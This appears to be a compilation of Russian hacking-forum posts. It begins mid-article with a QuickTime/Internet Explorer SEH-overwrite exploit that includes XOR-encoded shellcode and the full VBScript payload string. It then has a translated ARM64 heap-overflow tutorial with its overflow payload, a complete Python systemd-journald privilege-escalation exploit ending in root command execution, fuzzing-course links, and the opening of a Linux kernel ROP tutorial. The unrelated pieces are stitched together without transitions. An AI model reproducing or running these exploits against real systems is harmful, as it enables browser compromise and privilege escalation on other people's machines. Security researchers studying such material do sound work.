Также можно попробовать получить это значение из VBScript ’а и подставить в строку уже готовое значение, но из скрипта прочитать это значение не так просто. Самым простым способом будет перезапись SEH обработчика исключений на свой, а в качестве строки задать очень длинную строку чтобы вызвать запись за пределы стека в невыделенную память, тем самым вызвать обработчик исключения. Для выполнения этой задачи необходимо определить ближайший SEH фрейм в котором мы изменим адрес обработчика. При вызове обработчика во втором параметре передается адрес структуры EXCEPTION_REGISTRATION в которую мы можем контролировать запись. Т.е. записав в качестве указателья на следующий обработчик шеллкод мы сможем его вызвать, передав управление на него определенной последовательностью инструкций. Итак, в этом случае нам нужно определить расстояние уже до структуры EXCEPTION_REGISTRATION в первое поле мы запишем инструкцию JMP для того чтобы перепрыгнуть адрес обработчика, а во второе адрес обработчика который еще нужно будет найти по определенным критериям.
Расстояние до структуры EXCEPTION_REGISTRATION равно 0x32CCB80 -
0x32СC8A8 -1 = 0x2D7 байт. В первые 4 байта мы запишем опкод инструкции
JMP $+8 = 0x06EB , в следующие 4 мы запишем адрес обработчика исключений
который необходимо найти, а затем наш шеллкод.
Для поиска обработчика исключений нужно обеспечить передачу управление по
адресу второго аргумента. Типичная последовательность инструкций
POP/POP/RET – изъять адрес возврата, первый параметр и перейти по второму
параметру. Последовательность может быть разной к примеру CALL DWORD
[ESP+8], JMP DWORD [ESP+8] и т.д. Для поиска воспользуемся Immunity
Debbuger со скриптом
[mona](https://www.corelan.be/index.php/2011/07/14/mona-py-the-
manual/https://www.corelan.be/index.php/2011/07/14/mona-py-the-manual/). Также
этот скрипт позволяет найти модули без ASLR. Т.к. такой модуль всего лишь
один (icudt46.dll), и скрипт не находит в нем необходимой
последовательностии инструкций, то придется загружать другой модуль в котором
будет отключен ASLR и присутствовать нужная последовательность инструкций.
Для этого сначала запустим поиск модулей без ASLR используя finder в
системной папке. На тестируемой машине поиск выдал следующий список модулей:
amcompat.tlb
atmfd.dll
BOOTVID.DLL
COMCT232.OCX
COMCT332.OCX
COMCTL32.oca
COMCTL32.OCX
COMDLG32.oca
COMDLG32.OCX
COMMTB32.DLL
CRSWPP.DLL
crtdll.dll
ctl3d32.dll
DBADAPT.DLL
DBLIST32.OCX
DBMSSHRN.DLL
DBMSSOCN.DLL
expsrv.dll
MSWINSCK.OCX
ntkrnlpa.exe
ntoskrnl.exe
ODBCCP32.CPL
ODBCTL32.DLL
PICCLP32.OCX
PIPARSE.DLL
POSTWPP.DLL
PSHED.DLL| FPWPP.DLLFTPWPP.DLL
hha.dll
HLP95EN.DLL
HTMUTIL.DLL
iac25_32.ax
IMGWALK.DLL
ir32_32.dll
ir41_32.ax
ir41_qc.dll
ir41_qcx.dll
ir50_32.dll
ir50_qc.dll
ir50_qcx.dll
ivfsrc.ax
MCI32.OCX
MDT2FW95.DLL
mfc40.dll
python27.dll
RDOCURS.DLL
REPUTIL.DLL
RICHTX32.oca
RICHTX32.OCX
SCP32.DLL
SELFREG.DLL
SQLPARSE.DLL
sqlunirl.dll| mfc40u.dll
mfc71.dll
mfc71u.dll
MSADODC.OCX
MSBIND.DLL
MSCHRT20.OCX
MSCOMCT2.oca
MSCOMCT2.OCX
MSCOMCTL.oca
MSCOMM32.OCX
mscorier.dll
mscories.dll
MSDATGRD.OCX
MSDATLST.OCX
MSDATREP.OCX
MSDBRPT.DLL
MSDBRPTR.DLL
msdxm.tlb
sqlwid.dll
sqlwoa.dll
stdole32.tlb
SYSINFO.OCX
TABCTL32.OCX
TLBINF32.DLL
TrickAdvanced.dll
TsWpfWrp.exe
VB5DB.DLL| MSFLXGRD.OCX
MSHFLXGD.OCX
MSINET.OCX
MSJET35.DLL
MSJINT35.DLL
MSJT4JLT.DLL
MSJTER35.DLL
MSMAPI32.OCX
MSMASK32.OCX
MSRD2X35.DLL
MSRDO20.DLL
MSREPL35.DLL
MSSTDFMT.DLL
MSSTKPRP.DLL
msvbvm60.dll
msvcr71.dll
msvcrt20.dll
MSWINSCK.oca
VB6STKIT.DLL
vbajet32.dll
VBAR332.DLL
VEN2232.OLB
vfpodbc.dll
vm3dgl.dll
WEBPOST.DLL
WINDBVER.EXE
WPWIZDLL.DLL
---|---|---|---
Библиотка MSVBVM60.DLL является библиотекой времени выполнения для приложений написанных на VB6 , она также по умолчанию поставляется с Windows и не требует установки. Для загрузки этой DLL в память нужно просто создать какой-либо COM -объект предоставляемый этой DLL. Для получения идентификатора класса откроем эту DLL в OleView и перейдем к списку коклассов:
Используем этот идентификатор для создания объекта на HTML странице:
HTML:Copy to clipboard
...
<body>
<object CLASSID="clsid:A4C4671C-499F-101B-BB78-00AA00383CBB"}>
</object>
<object CLASSID="clsid:02BF25D5-8C17-4B23-BC80-D3488ABDDC6B" ID="QT">
<param name="src" value="f00002.mov">
</object>
<body onload="vbscript:RunExploit()">
</body>
...
Обновляем страницу и видим что модуль MSVBVM60 не загрузился. Это случилось потому что в реестре отсутствует данный идентификатор в ветке HKEY_CLASSES_ROOT\CLSID. В модуле MSVBVM60 содержится 2 библиотеки типов, поэтому попробуем получить кокласс из второй библиотеки (VBRUN):
Этот идентификатор присутствует в реестре:
Также я проверил на Win8 x64 , на WinXP и Win7 x64 – эта запись присутствует в реестре. Вставляем ее в HTML страницу и обновляем ее – модуль MSVBVM60 появился в списке:
Теперь запускаем поиск SEH обработчиков подходящих нам, скрипт mona нашел 1303 места для обработчиков:
Выбираем любой к примеру 0x72A3067A. Запишем этот адрес в строку по смещению 0x2D7 + 4. Для длины строки выберем экспериментально размер 0x4FFF. Если эксплоит не будет выбрасывать исключение это значение можно увеличить.
Итак формируем строку - String( &H2D7, "x") & Chr(&HEB) & Chr(&H6) & "xx" & Chr(&H7A) & Chr(&H6) & Chr(&HA3) & Chr(&H72) & String(&H4D20, "x")), и проверяем работу. В текущей сессии при копировании строки происходит выброс исключения, при просмотре таблицы исключений видно что оно заменено на наше и если передать управление обработчику то будет выполнен наш обработчик из MSVBVM60 :
Итак, все работает – управление передается в стек на наш шеллкод. Сделаем простейший шеллкод (на FASM) для запуска в стеке функции MessageBoxA используя вспомогательные функции MSVBVM60 :
Code:Copy to clipboard
use32
addr_DllFunctionCall equ 0x7294A0FD
XOR_VALUE equ 0x92b57bcd
OFFSET_BEFORE_START equ 0x08
; Чтобы обеспечить полное копирование кода
; нужно поксорить его с числом чтобы в
; результате не было нулей
shellcode:
mov eax, esp
sub eax, 4
mov ecx, dword [eax]
add ecx, start_c - shellcode + OFFSET_BEFORE_START
push (end_c - start_c) / 4 + 1
pop eax
xchg eax, ecx
next_enc:
xor dword [eax], XOR_VALUE
add eax, 4
loop next_enc
start_c:
lea ebp, dword [eax - ((end_c - start_c) / 4 + 1)*4 - (start_c - shellcode)]
jmp begin
funcName: db 'MessageBoxA', 0
libName: db 'user32', 0
text: db 'Hello world!', 0
begin:
push 0
push 0
push esp
push 0
sub esp, 8
push esp
mov eax, ebp
add eax, funcName
mov dword [esp+8], eax
add eax, libName - funcName
mov dword [esp+4], eax
mov eax, addr_DllFunctionCall
call eax
mov ecx, ebp
add ecx, text
push 0
push 0
push ecx
push 0
call eax
end_c:
Для того чтобы полностью скопировать весь шеллкод для исполнения нужно обеспечить отсутствие нулевых байтов, поскольку это является признаком конца строки и данные обрежутся в этом месте. Для обеспечения этого условия необходимо закодировать код таким образом чтобы исключить нулевые байты. Код расшифровки должен быть маленьким и не содержать нулевых байтов поскольку он не шифруется. В вышепреведенном коде используется самое простое XOR шифрование начиная с метки start_c (0x19). Для большей гибкости можно использовать динамическое значение для шифрования, в данном коде это не требуется.
Код до шифрования:
Rich (BB code):Copy to clipboard
89 E0 83 E8 04 8B 08 83 C1 21 6A 16 58 91 81 30
CD 7B B5 92 83 C0 04 E2 F5 8D 68 8F EB 20 4D 65
73 73 61 67 65 42 6F 78 41 00 75 73 65 72 33 32
00 48 65 6C 6C 6F 20 77 6F 72 6C 64 21 00 6A 00
6A 00 54 6A 00 83 EC 08 54 89 E8 83 C0 1E 89 44
24 08 83 C0 0C 89 44 24 04 B8 FD A0 94 72 FF D0
89 E9 83 C1 31 6A 00 6A 00 51 6A 00 FF D0
Код после шифрования:
Rich (BB code):Copy to clipboard
89 E0 83 E8 04 8B 08 83 C1 21 6A 16 58 91 81 30
CD 7B B5 92 83 C0 04 E2 F5 40 13 3A 79 ED 36 D0
E1 BE 1A D2 F7 8F 14 CD D3 CD 0E C6 F7 BF 48 87
92 85 1E D9 FE A2 5B C2 FD BF 17 D1 B3 CD 11 B5
F8 CD 2F DF 92 4E 97 BD C6 44 93 36 52 D3 F2 F1
B6 C5 F8 75 9E 44 3F 91 96 75 86 15 06 BF 84 65
1B 24 F8 74 A3 A7 7B DF 92 9C 11 B5 6D 1D
Теперь собираем строку используя программу StringMaker и вставляем в HTML документ:
HTML:Copy to clipboard
QT.SetLanguage (String(&H2D7, "x") & Chr(&HEB) & Chr(&H6) & "xx" & Chr(&H7A) & Chr(&H6) & Chr(&HA3) & Chr(&H72) & _
Chr(&H89) & Chr(&HE0) & Chr(&H83) & Chr(&HE8) & Chr(&H4) & Chr(&H8B) & Chr(&H8) & Chr(&H83) & _
Chr(&HC1) & Chr(&H21) & Chr(&H6A) & Chr(&H16) & Chr(&H58) & Chr(&H91) & Chr(&H81) & _
Chr(&H30) & Chr(&HCD) & Chr(&H7B) & Chr(&HB5) & Chr(&H92) & Chr(&H83) & Chr(&HC0) & _
Chr(&H4) & Chr(&HE2) & Chr(&HF5) & Chr(&H40) & Chr(&H13) & Chr(&H3A) & Chr(&H79) & _
Chr(&HED) & Chr(&H36) & Chr(&HD0) & Chr(&HE1) & Chr(&HBE) & Chr(&H1A) & Chr(&HD2) & _
Chr(&HF7) & Chr(&H8F) & Chr(&H14) & Chr(&HCD) & Chr(&HD3) & Chr(&HCD) & Chr(&HE) & _
Chr(&HC6) & Chr(&HF7) & Chr(&HBF) & Chr(&H48) & Chr(&H87) & Chr(&H92) & Chr(&H85) & _
Chr(&H1E) & Chr(&HD9) & Chr(&HFE) & Chr(&HA2) & Chr(&H5B) & Chr(&HC2) & Chr(&HFD) & _
Chr(&HBF) & Chr(&H17) & Chr(&HD1) & Chr(&HB3) & Chr(&HCD) & Chr(&H11) & Chr(&HB5) & _
Chr(&HF8) & Chr(&HCD) & Chr(&H2F) & Chr(&HDF) & Chr(&H92) & Chr(&H4E) & Chr(&H97) & _
Chr(&HBD) & Chr(&HC6) & Chr(&H44) & Chr(&H93) & Chr(&H36) & Chr(&H52) & Chr(&HD3) & _
Chr(&HF2) & Chr(&HF1) & Chr(&HB6) & Chr(&HC5) & Chr(&HF8) & Chr(&H75) & Chr(&H9E) & _
Chr(&H44) & Chr(&H3F) & Chr(&H91) & Chr(&H96) & Chr(&H75) & Chr(&H86) & Chr(&H15) & _
Chr(&H6) & Chr(&HBF) & Chr(&H84) & Chr(&H65) & Chr(&H1B) & Chr(&H24) & Chr(&HF8) & _
Chr(&H74) & Chr(&HA3) & Chr(&HA7) & Chr(&H7B) & Chr(&HDF) & Chr(&H92) & Chr(&H9C) & _
Chr(&H11) & Chr(&HB5) & Chr(&H6D) & Chr(&H1D) & String(&H6FFF, "x"))
ARM64 РЕВЕРСИНГ И ЭКСПЛУАТАЦИЯ ЧАСТЬ 1 - набор инструкций ARM + простое переполнение
Оглавление
Всем привет! В этой серии статей мы познакомимся с набором инструкций ARM и будем использовать его для реверсинга двоичных файлов ARM с последующим написанием эксплойтов для них. Итак, начнем с основ ARM64.
Введение в ARM64
ARM64 - это семейство архитектуры RISC (вычисление с сокращенным набором
команд). Отличительным фактором архитектуры RISC является использование
небольшого, высоко оптимизированного набора инструкций, а не более
специализированного набора, часто встречающегося в других типах архитектуры
(например, CISC). ARM64 следует подходу Загрузки/Сохранения, в котором и
операнды, и место назначения должны быть в регистрах.
Архитектура загрузки-сохранения - это архитектура набора команд, которая делит
инструкции на две категории: доступ к памяти (загрузка и сохранение между
памятью и регистрами) и операции ALU (которые происходят только между
регистрами). Это отличается от архитектуры регистр-память (например,
архитектуры набора инструкций CISC, такой как x86), в которой один из
операндов для операции ADD может находиться в памяти, а другой - в регистре.
Использование архитектуры ARM идеально подходит для мобильных устройств,
поскольку архитектура RISC требует небольшого количества транзисторов и,
следовательно, приводит к меньшему энергопотреблению и нагреву устройства, что
приводит к увеличению времени автономной работы, что очень важно для мобильных
устройств.
И текущие телефоны iOS и Android используют процессоры ARM, а более новые используют ARM64 в частности. Таким образом, реверсинг ассемблерного кода ARM64 жизненно важно для понимания внутренней работы двоичного файла или любого двоичного файла/приложения. Невозможно охватить весь набор инструкций ARM64 в этой серии статей, поэтому мы сосредоточимся на наиболее полезных инструкциях и наиболее часто используемых регистрах. Также важно отметить, что ARM64 также называется ARMv8 (8.1, 8.3 и так далее), А ARM32 - это ARMv7.
ARMv8 (ARM64) поддерживает совместимость с существующей 32-битной архитектурой
за счет использования двух состояний выполнения - Aarch32 и Aarch64. В
состоянии Aarch32 процессор может обращаться только к 32-битным регистрам. В
состоянии Aarch64 процессор может обращаться к 32-битным и 64-битным
регистрам. ARM64 есть несколько регистров общего и специального назначения.
Регистры общего назначения - это те регистры, которые не имеют побочных
эффектов и, следовательно, могут использоваться большинством инструкций. С
ними можно делать арифметические операции, использовать их для адресов памяти
и так далее. Регистры специального назначения также не имеют побочных
эффектов, но могут использоваться только для определенных целей и только по
определенным инструкциям. Другие инструкции могут неявно зависеть от их
значений. Одним из примеров этого является регистр указателя стека. А еще у
нас есть контрольные регистры - у этих регистров есть побочные эффекты. На
ARM64 это регистры, такие как TTBR (Базовый Регистр Таблицы Трансляции),
который содержит базовый указатель таблиц текущей страницы. Многие из них
будут привилегированными и могут использоваться только кодом ядра. Однако
некоторые регистры управления могут использоваться кем угодно.
На изображении ниже мы видим некоторые управляющие регистры из ядра XNU.
Современная ОС предполагает наличие нескольких уровней привилегий, которые она
может использовать для управления доступом к ресурсам. Примером этого является
разделение между ядром и пользовательской средой. Armv8 обеспечивает такое
разделение, реализуя различные уровни привилегий, которые в архитектуре
Armv8-A называются уровнями исключений. ARMv8 имеет несколько уровней
исключений, которые пронумерованы (EL0, EL1 и так далее), чем выше номер, тем
выше привилегия. При возникновении исключения уровень исключения может
увеличиваться или оставаться прежним. Однако при возврате из исключения
уровень исключения может либо уменьшиться, либо остаться прежним.
Состояние выполнения (Aarch32 или Aarch64) может измениться, принимая или
возвращаясь из исключения. При включении устройство переходит на самый высокий
уровень исключения.
С точки зрения привилегии EL0 <EL1 <EL2 <EL3
Регистры ARM64
В следующем списке определены различные регистры ARM64 и их назначение.
- x0-x30 - 64-битные регистры общего назначения. Доступ к их нижним частям можно получить через w0-w30.
- Имеется четыре регистра указателя стека SP\_EL0, SP\_EL1, SP\_EL2, SP\_EL3 (каждый для разных уровней выполнения), которые имеют ширину 32 бита. Кроме того, есть три регистра связи исключений ELR\_EL1, ELR\_EL2, ELR\_EL3, три сохраненных регистра состояния программы SPSR\_EL1, SPSR\_EL2, SPSR\_EL3 и один регистр счетчика программ (PC).
- Arm также использует относительную адресацию ПК - при этом он указывает адрес операнда относительно PC (базовый адрес) - Это помогает в выдаче независимого от позиции кода.
- В ARM64 (в отличие от ARM32) к PC невозможно получить доступ по большинству инструкций, особенно напрямую. PC модифицируется косвенно с использованием инструкций перехода или стека.
- Точно так же регистр SP (указатель стека) никогда не изменяется неявно (например, при использовании вызовов push/pop).
- Регистр текущего состояния программы (CPSR) содержит те же флаги состояния программы, что и APSR, вместе с некоторой дополнительной информацией.
- Первый регистр в коде операции обычно является местом назначения, остальные - источником (кроме str, stp)Click to expand...
Регистры| Назначение
---|---
x0 -x7| Аргументы (до 8) - остаются в стеке
x8 -x18| Общего назначение, хранящие переменные. По возвращении из функции
нельзя делать никаких предположений.
x19 -x28| Если используется функцией, их значения должны быть сохранены и
позже восстановлены при возврате к вызывающей функции
x29 (fp)| Указатель кадра (указывает в нижнюю часть кадра)
x30 (lr)| Ссылка на регистр. Содержит обратный адрес вызова
x16| Сохраняет системный вызов # в вызове (SVC 0x80)
x31 (sp/(x/w)zr)| Указатель стека (sp) или нулевой регистр (xzr или wzr)
PC| Регистр счетчика программ ПК. Содержит адрес следующей инструкции, которая
должна быть выполнена
APSR / CPSR| Регистр текущего состояния программы
Соглашение о вызовах ARM64
- Аргументы передаются в регистры x0-x7, остальные передаются в стек
- команда ret используется для возврата к адресу в регистре Link (значение по
умолчанию x30)
- Возвращаемое значение функции сохраняется в x0 или x0+x1 в зависимости от
того, 64-битное оно или 128-битное.
- x8 - регистр косвенного результата, используемый для передачи адреса
косвенного результата, например, когда функция возвращает большую структуру
- Переход к функции происходит с использованием опкода B.
- Branch with link (BL) копирует адрес следующей инструкции (после BL) в
регистр ссылок (x30) перед переходом
- BL, следовательно, используется для вызовов подпрограмм
- Вызов BR используется для перехода в регистр, например, br x8
- Код BLR используется для перехода в регистр и сохранения адреса следующей
инструкции (после BL) в регистре ссылок (x30)
Опкоды ARM
Опкоды| Назначение
---|---
MOV| Переместить один регистр в другой
MOVN| Переместить отрицательное значение в регистр
MOVK| Переместить 16 бит в регистр, а остальные оставить без изменений
MOVZ| Сдвинутые 16-битные регистры, оставив остальные без изменений
lsl/lsr| Логический сдвиг влево, Логический сдвиг вправо
ldr| Загрузить регистр
str| Сохранить регистр
ldp/stp| Загрузить/сохранить два регистра друг за другом
adr| Адрес метки при смещении относительно PC
adrp| Адрес страницы при смещении относительно PC
cmp| Сравнить два значения, флаги обновляются автоматически
bne| Переход, если нулевой флаг не установлен
Системные регистры
Помимо этого, также могут быть некоторые системные регистры, которые доступны только в этой конкретной ОС. Например, следующие регистры присутствуют в iOS
Чтение/запись системных регистров
MRS, systemreg -> Прочитать из системного регистра в регистр назначения Xt
MSR, systemreg -> Записать в системный регистр значение, хранящееся в регистре Xt
Например, используйте MSR PAN, #1 для установки бита PAN и MSR PAN, #0 для очистки бита PAN
Пролог/Эпилог функции
Пролог - появляется в начале функции, подготавливает стек и регистры для использования в функции.
Эпилог - появляется в конце функции, восстанавливает стек и регистры в исходное состояние до вызова функции.
Примеры
- mov x0, x1 -> x0 = x1
- movn x0, 1 -> x0 = -1
- add x0, x1 -> x0 = x0 + x1
- ldr x0, [x1] -> x0 = *x1 -> x0 = Адрес хранится в x1
- ldr x0, [x1, 0x10]! -> x1 += 0x10; x0 = *x1(Режим предварительной индексации)
- ldr x0, [x1], 0x10 -> x0 = *x1; x1 += 0x10 (Режим пост-индексации)
- str x0, [x1] -> *x1 = x0 -> Назначение хранится справа
- ldr x0, [x1, 0x10] -> x0 = *(x1 + 0x10)
- ldrb w0, [x1] -> Загрузить байт из адреса, хранящегося в x1
- ldrsb w0, [x1] -> Загрузить байт со знаком из адреса, хранящегося в x1
- adr x0, label -> Загрузить адрес label в x0
- stp x0, x1, [x2] -> *x2 = x0; *(x2 + 8) = x1
- stp x29, x30, [sp, -64]! -> Сохранить x29, x30 (LR) на стек
- ldp x29, x30, [sp], 64] -> Восстановить x29, x30 (LR) из стека
- svc 0 -> Выполнить системный вызов (регистр x16 номер системного вызова)
- str x0, [x29] -> Сохранить x0 по адресу x29 (пункт назначения справа)
- ldr x0, [x29] -> Загрузить значение из адреса в x29 в x0
- blr x0 -> Вызвать подпрограмму по адресу, хранящемуся в x0, сохраняет следующую инструкцию в регистре ссылок (x30)
- br x0 -> Перейти к адресу, хранящемуся в x0
- bl label -> Переход к label, сохранение следующей инструкции в регистре ссылок (x30)
- bl printf -> Вызов функции printf с сохраненными аргументами x0, x1
- ret -> Перейти по адресу, хранящемуся в x30Click to expand...
Простое переполнение кучи
Давайте напишем простой эксплойт переполнения кучи для двоичного файла ARM.
Ваша задача - использовать уязвимость переполнения кучи в двоичном файле vuln, чтобы выполнить команду по вашему выбору. Двоичные файлы скомпилированы для платформы iOS, поэтому их необходимо запускать на взломанном устройстве iOS.
Бинарные файлы для этой и следующей статьи можно найти здесь (<https://drive.google.com/file/d/1f3PDEz- Fh9I3rSDhpMGW5ZrCU9g0BjKL/view?usp=sharing>)
Подключитесь по SSH к вашему устройству Corellium (или взломанной iOS) и запустите двоичный файл vuln
$ vuln
Запустите двоичный файл vuln. Вы получаете сообщение "Удачи в следующий раз"
Давайте откроем двоичный файл в Hopper, чтобы посмотреть, что происходит. Давайте посмотрим на основную функцию.
Итак, ясно, что нам нужно сделать, чтобы перейти к функции heapOverflow.
Для этого должны быть выполнены следующие требования.
- Передайте три аргумента (или 2, потому что первый аргумент в программе C -
это команда, с которой программа вызывается)
- argv[1] должен быть строкой "heap"
- argv[2] должен быть аргументом, который передается в качестве первого
аргумента в функцию heapOverflow.
Просто напомню
Основная функция в C имеет прототип
int main(int argc, char **argv)
argc - целое число, которое содержит количество аргументов, следующих в argv. Параметр argc всегда больше или равен 1.
argv - массив строк с завершающим нулем, представляющих аргументы командной
строки, введенные пользователем программы.
По соглашению, argv [0] - это команда, с которой вызывается программа, argv
[1] - это первый аргумент командной строки, и так далее, пока argv [argc],
который всегда NULL
Давайте также посмотрим на псевдокод функции heapOverflow. Обратите внимание, что PseudoCode отображается для 32-разрядной архитектуры, но все же дает вам хорошее представление о потоке программы.
Кажется, что он пытается открыть файл с именем в качестве первого аргумента, который ему передается.
В конце также есть вызов системной функции, которая выполняет команду, input - регистр r22 (или x22)
Выделение для r21 (x21) составляет 0x400 байт, которое читается с помощью следующей команды fread
fread (r21, 0x1, r20, r19);
Давайте создадим на устройстве простой файл и передадим его в качестве входных данных в двоичный файл vuln.
echo "Hello World" > input.txt ./vuln heap input.txt
Кажется, он распечатывает ввод для команды whoami
Давайте немного схитрим, чтобы взглянуть на сам исходный код
C:Copy to clipboard
void heapOverflow(char *filename){
printf("Heap overflow challenge. Execute a shell command of your choice on the device\n");
printf("Welcome: from %s, printing out the current user\n", filename);
FILE *f = fopen(filename,"rb");
fseek(f, 0, SEEK_END);
size_t fs = ftell(f);
fseek(f, 0, SEEK_SET);
char *name = malloc(0x400);
char *command = malloc(0x400);
strcpy(command,"whoami");
fread(name, 1, fs, f);
system(command);
return;
}
Конечно, передача файла длиной более 0x400 байтов приведет к переполнению смежной памяти и может закончиться переполнением строки "command", и, таким образом, когда будет выполнен системный вызов, мы сможем вызывать наши собственные команды.
На устройстве Corellium используйте следующую команду для создания вредоносного файла
python3 -c ‘print (“/”*0x400+”/bin/ls\x00”)’> hax.txt
Затем передайте его как ввод в двоичный файл.
vuln heap hax.txt
Вместо команды whoami выполняется команда ls.
Можете ли вы попробовать получить оболочку на устройство, используя это?
Ссылки
Источник 8ksec.io/arm64-reversing-and-exploitation-part-1-arm-instruction-set-
simple-heap-overflow/
Автор перевода: yashechka
Переведено специально для https://xss.is
Доброго времени суток форумчане. Спешу сообщить про уязвимость в SystemD. Почти все дистрибутивы уязвимы перед ней. Это статья больше всего подойдёт для администраторов в чьих руках стоят сервера на пингвине.
Поехали!
Уязвимость представляет собой проблему out-of-bounds чтения из памяти, то есть позволяет прочесть данные из внешних областей памяти.
Первый кусок кода-это базовая настройка, вспомогательные функции и приятная обертка вокруг сокетов UNIX, которая облегчит нашу жизнь дальше по линии:
Python:Copy to clipboard
#!/usr/bin/env python3
import array
import os
import socket
import struct
TEMPFILE = '/tmp/systemdown_temp'
def p64(n):
return struct.pack('<Q', n)
class UNIXSocket(object):
def __init__(self, path):
self.path = path
def __enter__(self):
self.client = socket.socket(socket.AF_UNIX, socket.SOCK_DGRAM, 0)
self.client.connect(self.path)
return self.client
def __exit__(self, exc_t, exc_v, traceback):
self.client.close()
Далее у нас есть некоторые константы, которые могут меняться в зависимости от конкретной целевой среды. Эти константы были построены для выпуска 20180808.0.0 в Ubuntu/bionic64 бродячий образ (и опять же, как они предполагают цель технологии ASLR отключены):
Python:Copy to clipboard
libc = 0x7ffff79e4000
stack = 0x7fffffffde60
free_hook = libc + 0x3ed8e8
system_preimage = b"Y=J~-Y',Wj(A"
padding_kvs = 3
Теперь у нас есть масса ценностей, необходимых для нашего экспериментального использования. Первым шагом в логике эксплойта является добавление некоторых записей заполнения, которые вызывают увеличение размера alloca, смещая стеки journal_file_append_data (и функции, которые он вызывает) ниже. Это необходимо для выравнивания точного местоположения, где данные будут записываться в libc .BSS, и избежать ненужного забивания любых других глобальных ценностей libc, которые могут сильно помешать эксплуатации.
Python:Copy to clipboard
with open(TEMPFILE, 'wb') as log:
msg = b""
for _ in range(padding_kvs):
msg += b"P=\n"
Далее добавим значение прообраза, хэш для которого (при вычислении из hash64 ()) будет адресом system. В частности, это выравнивание этого значения будет таким, что journald запишет систему в libc __free_hook, давая нам оболочку, когда наша команда ниже будет освобождена.
Python:Copy to clipboard
msg += system_preimage + b"\n"
Затем мы добавляем нашу команду в виде двоичного блока данных, окруженного точками с запятой, чтобы сделать sh счастливым. Мы также гарантируем, что journald насильственно убит здесь, так что libc не имеет шансов заблокировать после возврата вызова system:
Python:Copy to clipboard
cmd = b"echo $(whoami) > /tmp/pwn"
cmd = b";" + cmd + b";killall -9 /lib/systemd/systemd-journald;"
msg += b"C\n"
msg += p64(len(cmd))
msg += cmd + b"\n"
Затем мы отправляем большую запись (>=128MB), что приводит к ошибке и заставляет journald выйти из цикла обработки записей (src). Как только это условие ошибки поражено, и цикл остановлен, больше не записываются значения, и поэтому этот шаг важен, чтобы прекратить повреждение памяти, предотвращая запись значений в несопоставленную / неписаную память между libc и стеком.
Python:Copy to clipboard
msg += b"A=" + b"B"*(128*1024*1024) + b"\n"
Наконец, мы заполняем наше сообщение достаточным количеством записей, чтобы вызвать падение stack - >libc:
Python:Copy to clipboard
num_msgs = (((stack - free_hook)//16) - 1)
num_msgs -= 3 # the three above
num_msgs -= 7 # added by journald itself
msg += b"B=\n" * num_msgs
log.write(msg)
На данный момент нам просто нужно передать журнал FD в journald, чтобы получить нашу оболочку:
Python:Copy to clipboard
with UNIXSocket("/run/systemd/journal/socket") as sock:
with open(TEMPFILE, 'rb') as log:
sock.sendmsg([b""], [(socket.SOL_SOCKET, socket.SCM_RIGHTS, array.array("i", [log.fileno()]))])
os.unlink(TEMPFILE)
После запуска этого мы обнаруживаем, что файл/tmp / pwn был создан с содержимым “root”, что означает, что мы успешно достигли нашей эскалации привилегий.
Bash:Copy to clipboard
$ cat /tmp/pwn
root
Спасибо за прочтение мой статьи! Hack you!
автор @not eth1cal hack3r
UPD: Перевод статьи читайтетут /threads/115070/#post-812221.
Попался на глаза один любопытный ретроспективный обзор индустрии.
Текста много, но рекомендую ознакомиться каждому интересующемуся, т.к. есть
ответы на всплывающие периодически в разделе вопросы и даже больше.
boom-the-bust-and-the-adjust-ea443a120c6)
About me
medium.com
Для любителей презентаций: <https://www.slideshare.net/slideshow/zer0con-2024-final-share-short- versionpdf/267171223>
Хочешь научиться фаззить как настоящий эксперт, но не знаешь с чего начать?
Если да, то этот курс для вас!
Десять упражнений по поиску уязвимостей, в таких программах как:
Xpdf, libexif, TCPdump, LibTIFF, Libxml2, GIMP, VLC media player, Adobe Reader, 7-Zip, Google Chrome.
![github.com](/proxy.php?image=https%3A%2F%2Fopengraph.githubassets.com%2Ffa97e85d50d99c71b113ca3564c1c0a6a92b3c61935bf5a97271ea46512000ac%2Fantonio- morales%2FFuzzing101&hash=de1a0b51c8cd2ece55a040a8b4cc2272&return_error=1)
A GitHub Security Lab initiative ](https://github.com/antonio- morales/fuzzing101)
An step by step fuzzing tutorial. A GitHub Security Lab initiative - GitHub - antonio-morales/Fuzzing101: An step by step fuzzing tutorial. A GitHub Security Lab initiative
github.com
Лучший друг теории — это практика. Чтобы понять, как работают уязвимости в ядре Linux и как их использовать, мы создадим свой модуль ядра Linux и с его помощью повысим себе привилегии до суперпользователя. Затем мы соберем само ядро Linux с уязвимым модулем, подготовим все, что нужно для запуска ядра в виртуальной машине QEMU, и автоматизируем процесс загрузки модуля в ядро. Мы научимся отлаживать ядро, а потом воспользуемся приемом ROP, чтобы получить права root.
Чтобы выполнить все задуманное, нам понадобятся следующие утилиты:
Этого вполне достаточно, чтобы собрать ядро и проэксплуатировать его модуль, содержащий уязвимость.
В целях эксперимента нам понадобится ядро Linux, которое придется самостоятельно собрать.
Для примера возьмем самое последнее стабильное ядро с kernel.org. На момент написания статьи это был Linux 5.12.4. На самом деле версия ядра вряд ли повлияет на результат, так что можешь смело брать наиболее актуальную. Скачиваем архив, выполняем команду tar xaf linux-5.12.4.tar.xz и заходим в появившуюся папку.
Мы не будем делать универсальное ядро, которое может поднимать любое железо. Все, что нам нужно, — это чтобы оно запускалось в QEMU, а изначальная конфигурация, предложенная разработчиками, для этих целей подходит. Однако все‑таки необходимо удостовериться, что у нас будут символы для отладки после компиляции и что у нас нет стековой канарейки (об этой птице мы поговорим позже).
Существует несколько способов задать правильную конфигурацию, но мы выберем menuconfig. Он удобен и нетребователен к GUI. Выполняем команду make menuconfig и наблюдаем следующую картину.
Главное меню menuconfig
Для того чтобы у нас появились отладочные символы, идем в секцию Kernel hacking → Compile-time checks and compiler options. Тут надо будет выбрать Compile the kernel with debug info и Provide GDB scripts for kernel debugging. Кроме отладочных символов, мы получим очень полезный скрипт vmlinux-gdb.py. Это модуль для GDB, который поможет нам в определении таких вещей, как базовый адрес модуля в памяти ядра.
Включение символов отладки и vmlinux-gdb.py
Теперь надо убрать протектор стека, чтобы наш модуль был эксплуатируем. Для этого возвращаемся на главный экран конфигурации, заходим в раздел General architecture-dependent options и отключаем функцию Stack Protector buffer overflow detection.
Отключение стековой канарейки
Можно нажать на кнопку Save и выходить из окна настройки. Что делает эта настройка, мы увидим далее.
Тут совсем ничего сложного. Выполняем команду make -j
Компиляция ядра
Скорость сборки зависит от процессора: около пяти минут она займет на мощном компьютере и намного дольше — на слабом. Можешь не ждать окончания компиляции и продолжать читать статью.
